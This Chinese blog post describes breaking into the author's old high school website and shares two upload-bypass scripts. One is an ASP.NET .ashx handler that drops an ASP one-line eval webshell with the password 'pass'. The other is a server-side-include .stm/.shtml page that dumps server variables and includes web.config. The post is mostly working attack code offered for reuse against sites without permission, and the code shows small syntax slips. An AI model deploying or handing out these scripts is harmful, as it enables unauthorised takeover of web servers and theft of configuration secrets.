前几天调戏了一下高中母校的网站。怎么又是高中母校?不是已经有[高中母校被土耳其黑客轮奸]了么?呃…俺高中有点坎坷…废话不多说了,这里主要记录俩脚本。
当上传功能几乎禁掉了所有能被解析执行的服务器端脚本文件时别忘了下面这两个脚本,这也不是我原创的,每次搜索引擎查太麻烦,索性贴在自己博客里面。
第一个是ashx脚本,服务器有.net环境但aspx被禁止上传时适用。这个执行后会在当前目录下生成webshell.asp一句话木马,密码是pass 也可以写入其它文件,你懂的。

<%@ WebHandler Language="C#" class="Handler"% >
using System;
using System.Web;
using System.IO;
public class Handler:IHttpHandler {
 
public void ProcessRequest (HttpContext context) {
    context.Response.ContentType = "text/plain";
    StreamWriter file = File.CreateText(context.Server.MapPath("webshell.asp")));
    file.Write("<%eval request(\"pass\")%>");
    file.Flush();
    file.Close();
    context.Response.Write("www.webshell.cc");
}
 
public bool IsReusable {
    get {
        return false;
    }
}
}

第二个是stm/shtm/shtml脚本,虽然不能直接拿到webshell,但是可以获取到一些服务器信息。注意stm中的include可以将web.config文件中的内容包含进来,然后你懂的。

<!--#ECHO var="ALL_HTTP"-->
当前文件名称:<!--#ECHO var="DOCUMENT_NAME"-->
Web服务器的名称和版本:<!--#ECHO var="SERVER_SOFTWARE"-->
主机名:<!--#ECHO var="SERVER_NAME"-->
端口:<!--#ECHO var="SERVER_PORT"-->
客户或客户代理IP地址:<!--#ECHO var="REMOTE_ADDR"-->
客户或客户代理主机名:<!--#ECHO var="REMOTE_HOST"-->
PATH_INFO 的值,但带有扩展为某个目录规范的虚拟路径:
<!--#ECHO var="PATH_TRANSLATED"-->
客户端给出附加路径信息:<!--#ECHO var="PATH_INFO"-->
<!--#ECHO var="HTTP_ACCEPT"-->
<!--#ECHO var="DOCUMENT_URI"-->
<!--#include file="../../web.config"-->

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/304.html